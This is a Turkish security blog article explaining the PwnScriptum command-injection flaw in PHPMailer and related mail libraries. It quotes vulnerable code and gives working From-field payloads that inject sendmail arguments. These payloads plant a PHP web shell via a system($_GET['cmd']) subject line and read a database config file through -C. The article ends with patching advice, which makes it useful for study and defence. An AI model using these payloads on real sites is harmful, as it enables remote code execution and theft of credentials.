Meraklısı İçin PwnScriptum (PHP Mailer Remote Code Execution) Zafiyeti

Ziyahan Albeniz - 03 Ocak 2017 -

"2016 yılının son günlerinde birbiri ardına yayınlanan dört zafiyet tüm dikkatleri üzerine çekti. Dört farklı kütüphanedeki (PHPMailer < 5.2.18, SwiftMailer <= 5.4.5-DEV, RoundCube 1.2.2, Zend Framework<2.4.11(ZendMail < 2.7.2 )) bu zafiyetler esasen PHP mail() fonksiyonunun ekstra parametre göndermek için kullanılan bir özelliğinden kaynaklanmakta. Daha doğrusu, kullanıcıdan alınan datanın doğru bir biçimde denetlenmeyip, bu parametreye aktarılması ve sonrasında açığa çıkan komut enjeksiyonu hakkında.

Meraklısı İçin PwnScriptum (PHP Mailer Remote Code Execution) Zafiyeti

2016 yılının son günlerinde birbiri ardına yayınlanan dört zafiyet tüm dikkatleri üzerine çekti. Dört farklı kütüphanedeki (PHPMailer < 5.2.18,="" swiftmailer=""><= 5.4.5-dev,="" roundcube="" 1.2.2,="" zend=""><2.4.11(zendmail>< 2.7.2="">) bu zafiyetler esasen PHP mail() fonksiyonunun ekstra parametre göndermek için kullanılan bir özelliğinden kaynaklanmakta. Daha doğrusu, kullanıcıdan alınan datanın doğru bir biçimde denetlenmeyip, bu parametreye aktarılması ve sonrasında açığa çıkan komut enjeksiyonu hakkında.

Peşinen söylemekte yarar var, bu zafiyetin istismarı ile sayfalarınızda uzaktan komut çalıştırabilmek ve dosya içeriklerinize ulaşabilmek mümkün.

Biz bu yazımızda, PHP Mailer'de tespit edilen PwnScriptum'dan hareketle, diğer kütüphanelerde de benzer yollarla açığa çıkan zafiyetin teknik ayrıntılarına göz atacağız.

Zafiyet, Legal Hackers grubundan Dawid Golunski tarafından tespit edildi ve zafiyet ile aynı adı taşıyan site üzerinden ayrıntılar paylaşıldı. An itibari ile, PHP Mailer kütüphanesinin yayındaki 5.2.20 versiyonu ile sorun giderilmiş durumda

PHP'de Mail Göndermek

PHP'de Eposta göndermek için kullanılan mail() fonksiyonu, bu işlem için aşağıdaki parametreleri kullanıyor.

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Görüleceği üzere, ilk üç parametre dışındaki parametreler opsiyonel, yani kullanımları tercihe bağlı olan parametreler. Bu parametrelerden additional_headers, epostaya ekstra headerlar set etmek için(From, Cc, ve Bcc); additional_parameters da mail() fonksiyonunun eposta gönderirken kullandığı programa(örneğimizde sendmail) parametre geçirmek için kullanılan bir seçenek.

Zafiyetleri iyi anlamak için eposta gönderiminde işletim sistemi düzeyinde hangi programın kullanıldığını ve bu programa aktarılan ek parametrelerin ne anlama geldiğini anlamak zorundayız.

PHP'nin eposta gönderirken kullanacağı program, php.ini dosyasındaki sendmail_path ayarı ile belirlenir:

Pwnscriptum1

RoundCube, PHP Mailer, SwiftMailer ve ZendMail kütüphanelerindeki zafiyet sendmail isimli eposta programının kullanılması ile ortaya çıkmaktadır.

Sendmail programının kullandığı ekstra parametrelerden birkaçına göz atalım. Ayrıca sendmail parametreleri ile ilgili ayrıntılı bilgi için buraya tıklayabilirsiniz.

-C : sendmail programı için custom bir ayar dosyası belirtir.
-X : parametre ile belirtilen dosyaya eposta gönderimi ile ilgili bir log yazar.
-f : Uygulamada zafiyete sebep olan esas parametre. Return-Path değerini tanımlar. Bu bilgi ile set edilen değer delivery status, yani eposta bildirim raporlarının gönderileceği adrestir. Eğer eposta gönderiminde From header’ı set edilmedi ise Return Path ayrıca From yerine de kullanılacaktır.

Bu ekstra parametrelerin mail() fonksiyonunun opsiyonel olan beşinci parametresi vasıtası ile tanımlandığını söylemiş idik. Peki kim son kullanıcıyı ilgilendirmeyen böylesi bir özelliği, son kullanıcıdan aldığı datalar ile set eder? 2014 yılında Security Sucks sitesinde yayınlanan ve mail() fonksiyonundaki bu hassas noktayı teorik olarak tartışan makalede de, yazıldığı esnada, gerçek bir senaryoda buna imkan olmadığı düşünülmekte idi.

Bu makaleden 2 yıl sonra, yaygın olarak kullanılan pek çok kütüphanede, akla gelmeyen başa gelmiş ve milyonlarca site tarafından kullanılan bu kütüphanelerde, zafiyet kendini göstermişti.

Şeytan Ayrıntıda Gizlidir - Return-Path'i Anlamak

Bütün eposta mesajları Return-Path(ya da bounce address, envelope sender address) olarak bilinen gizli bir alana sahiptir.

Bir örnek ile izah edecek olursak, zarfların üzerine yazdığımız gönderici adresi, alıcıdan çok, zarfın iletimini sağlayan posta görevlileri içindir. Olası bir durumda, zarfın iade adresini, geri bildirim adresini tanımlar.

Return-Path de mesajın hangi noktadan yollandığını ve olası bir durumda(teslim edilemediği durumlar örneğin), hangi adrese bildirimde bulunulacağını belirtmektedir. From değeri hususen set edilmezse -f parametresi ile set edilen Return-Path ayrıca From değeri için de kullanılacaktır.

Zafiyet içeren kütüphaneler, epostaların Spam olarak değerlendirilmesi riskine karşı From ile kendilerine belirtilen göndericiyi, sendmail kütüphanesinin -f parametresi ile aynı zamanda Return-Path olarak tanımlıyor ve From değeri için kullanıcıdan kabul edilen değerlere yapılan filtrelemede gözden kaçan birkaç ayrıntı sebebi ile kod enjeksiyonu zafiyeti açığa çıkıyor. Aşağıda da açıklanacağı üzere bu ayrıntı, geçerli bir eposta doğrulaması yaparken referans alınan RFC standartlarıdır. RFC'de tanımlanan eposta standartları sandığımız kadar katı değil. Ayrıntılı bilgi için şu ve şu makaleler incelenebilir.

PHP Mailer

Yaklaşık 9 milyon kişi tarafından kullanılan bu eposta aktarım kütüphanesi varsayılan olarak PHP'nin mail() fonksiyonu vasıtası ile eposta gönderimi yapmaktadır. PHP Mailer, Wordpress, Drupal ve SugarCRM gibi yine pek çok kişi tarafından kullanılan projelerde de eposta gönderimi için kullanılan bir kütüphanedir.

5.2.18 öncesi tüm sürümleri etkileyen zafiyetin detayları aşağıdaki şekilde açıklanmaktadır.

PHPMailer kütüphanesinde, eposta aktarımı aşağıdaki şekilde yapılmaktadır.

protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }
        if ($this->Sender != '' and !ini_get('safe_mode')) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

Epostayı gönderen kod bold olarak işaretlenmiştir:

     $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

PHP'nin kendi mail() fonksiyonunun prototipine çok benzer şekilde, mailPassthru() fonksiyonu da aldığı beş adet parametreyi mail() fonksiyonuna aktarmaktadır. Son parametre olan $params burada dikkat edeceğimiz nokta, $params parametresine yukarıda şu aktarım yapılmış idi:

       //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender değeri, doğrudan -f parametresi ile birlikte, mail gönderiminde kullanılacak olan sendmail programına aktarılıyor. $this->Sender değişkenine değer aktarımında ise, PHPMailer setFrom isimli fonksiyonu kullanıyor:

public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
    (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
    !$this->validateAddress($address)) {

Burada eposta adresinin doğruluğunun sınandığı validateAddress fonksiyonu kritik bir önem arz ediyor. Varsayılan validator seçeneği olarak "php" seçeneğini kullandığı için aşağıdaki gibi bir filtre ile eposta adresini sınayacak:

return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);

filter_var() fonksiyonu ile birlikte kullanılan FILTER_VALIDATE_EMAIL filtresine göre, filter_var() fonksiyonuna parametre olarak verilen değer RFC 822’de tanımlanan standarda göre test edilecek. RFC 822’ye göre ise, eposta adreslerinde local part olan yani @ işaretinden önceki kısım, tırnak işaretleri içerisinde olmak kaydı ile boşluk kabul ediliyor. Örneğin:

"bu bir gecerli eposta"@email.com

Ayrıntılar için RFC 822 Address Validator

Dolayısıyla gönderici adresi olarak pekala aşağıdaki gibi bir adres kullanabiliriz:

"Attacker -Param2 -Param3"@test.com

Böyle bir gönderici adresi mail() fonksiyonuna, dolayısıyla da sendmail programına ekstra parametre olarak geçirildiğinde sonuç aşağıdaki gibi olacaktır:

Parametre no. 0 ==> [/usr/sbin/sendmail]
Parametre no. 1 ==> [-t]
Parametre no. 2 ==> [-i]
Parametre no. 3 ==> [-fAttacker -Param2 [email protected]]

-t ve -i parametreleri php.ini'de tanımlanan default parametreler. 3 numaralı parametrede ise görüldüğü üzere -f parametresine bizim gönderici olarak belirttiğimiz adres gönderiliyor. Buradaki sorun şu, 3 numaralı parametrede hem -f hem de Param2 değerini gönderemiyoruz. Bunu gönderici adresine \" değerlerini ekleyerek split etmemiz gerekiyor. Parametrelerin son görüntüsü şu şekilde olacaktır:

"Attacker \" -Param2 -Param3"@test.com
Parametre no. 0 ==> [/usr/sbin/sendmail]
Parametre no. 1 ==> [-t]
Parametre no. 2 ==> [-i]
Parametre no. 3 ==> [-fAttacker\]
Parametre no. 4 ==> [-Param2]
Parametre no. 5 ==> [-Param3"@test.com]

Şimdi yukarıdaki bilgilerden hareketle, hedef sitede bulunan bir iletişim formuna aşağıdaki bilgilerin girildiğini düşünelim.

Email From : "attacker\" -oQ/tmp/ -X/var/www/html/phpcode.php  some"@email.com
Mesaj içeriği ya da konusu: <?php phpinfo(); ?>

Yukarıdaki girdiler, PHP Mailer tarafından sendmail'e aktarıldığında:
-oQ/tmp/ ile birlikte, mail kuyruk dizinini global olarak yazılabilir durumda olan /tmp/ dizini ile değiştiriyoruz.

-X /var/www/html/phpcode.php ile birlikte gönderilen bu eposta için log kaydının /var/www/html yani web kök dizinine phpcode.php adı ile yazılmasını söylüyoruz. Tüm fırtına burada kopuyor. İşte bu log dosyası yazıldığında, phpcode.php dosyasının içeriği aşağıdaki gibi olacak:

Pwnscriptum2

phpcode.php dosyasını web kök dizinine kaydettiğimiz için, dosyaya hedef sitenin URL'i üzerinden direkt ulaşabileceğiz:

http://www.example.com/phpcode.php

Sayfaya ulaştığımızda, diğer kodlar text olduğu için aynı şekilde ekrana basılırken <?php phpinfo();?> satırı, PHP tagları arasında olduğu için sunucu tarafından yorumlanacak ve ekrana PHP info bilgileri basılacaktır.

Pwnscriptum3

Görüldüğü üzere, bir eposta formu üzerinden, komut enjeksiyonu yapıp çalıştırabildik. Yukarıdaki payload yerine, yani subject alanında <?php system($_GET["cmd"]);?> şeklinde bir payload kullanılsa idi, çalıştırılacak komutlar, kullanıcı tarafından dinamik olarak değiştirilebilecekti.

Örneğin:

http://www.example.com/phpcode.php?cmd=uname+-a

Yukarıdaki saldırı, Remote Code Execution olarak bilinen uzaktan kod çalıştırma örnekleri idi. Yine sendmail'i incelerken gördüğümüz -C parametresi vasıtası ile Local File Inclusion zafiyetini de istismar etmek mümkün. -C parametresi sendmail'de custom bir ayar dosyası belirtmek için kullanılıyor:

Örneğin atak parametremiz şöyle olsa idi:

From : "Attacker \" -C/var/www/includes/db_config.php -OQueueDirectory=/tmp -X/var/www/sensitivedata.php"@example.com

www.example.com/sensitivedata.php çağrıldığında, aşağıdaki gibi bir çıktı ile karşılaşacak ve db_config.php'nin içeriği okuyabilecektik:

11124 >>> /var/www/html/config.php: line 1: unknown configuration line "<?php"
11124 >>> /var/www/html/config.php: line 3: unknown configuration line "dbuser = 'someuser';"
11124 >>> /var/www/html/config.php: line 4: unknown configuration line "dbpass = 'somepass';"
11124 >>> /var/www/html/config.php: line 5: unknown configuration line "dbhost = 'localhost';"
11124 >>> /var/www/html/config.php: line 6: unknown configuration line "dbname = 'mydb';"
11124 >>> No local mailer defined

Sonuç

Yazının başında da belirttiğimiz üzere PHP Mailer kütüphanesi yaygın olarak kullanılan bir kütüphane, dolayısıyla pek çok sistemin bu zafiyetten etkilendiğini söyleyebiliriz.

İvedilikle zafiyetin fixlendiği güncel bir sürümün yüklenmesi gerekiyor.

PHP 5.4.0'dan önceki sürümlerde zafiyetin istismar edilebilmesi için, safe_mode'un off durumda olması gerekiyor. Çünkü safe_mode'un aldığı tedbirlerden biri de "on" durumda iken mail() fonksiyonuna additional_parameters ismindeki 5. Parametrenin yollanmasını engellemek.

Diğer önemli bir nokta da, zafiyetin neticelenebilmesi için, PHP komutlarının ya da okunan dosyaların içeriğinin web üzerinden erişilebilen bir dizine yazılması gerekiyor.